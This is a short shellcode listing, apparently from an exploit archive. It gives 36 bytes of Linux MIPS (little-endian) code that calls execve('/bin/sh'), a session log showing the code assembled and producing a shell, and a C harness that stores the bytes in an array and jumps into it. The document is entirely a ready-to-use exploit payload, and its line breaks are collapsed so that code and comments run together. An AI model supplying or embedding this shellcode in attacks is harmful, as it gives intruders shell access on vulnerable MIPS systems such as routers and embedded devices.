Linux MIPS execve
#include <stdio.h>/*Sanguine@debian-mipsel:~/leaveret# cat > MIPS_36b_sc.s.section .text.globl __start.set noreorder__start:slti $a2, $zero, -1 #set a1 to zerop:bltzal $a2, p #not branch always and save raslti $a1, $zero, -1 #set a1 to zeroaddu $a0, $ra, 4097 #a0 + 16addu $a0, $a0, -4081li $v0, 4011syscall 0x40404.string "/bin/sh"Sanguine@debian-mipsel:~/leaveret# as MIPS_36b_sc.s -o MIPS_36b_sc.oSanguine@debian-mipsel:~/leaveret# ld MIPS_36b_sc.o -o MIPS_36b_scSanguine@debian-mipsel:~/leaveret# ./MIPS_36b_sc$ exit */char sc[] = { "\xff\xff\x06\x28" /* slti $a2, $zero, -1 */ "\xff\xff\xd0\x04" /* bltzal $a2, <p> */ "\xff\xff\x05\x28" /* slti $a1, $zero, -1 */ "\x01\x10\xe4\x27" /* addu $a0, $ra, 4097 */ "\x0f\xf0\x84\x24" /* addu $a0, $a0, -4081 */ "\xab\x0f\x02\x24" /* li $v0, 4011 */ "\x0c\x01\x01\x01" /* syscall 0x40404 */ "/bin/sh"}; voidmain(void){ void (*s)(void); printf("sc size %d\n", sizeof(sc)); s = sc; s();}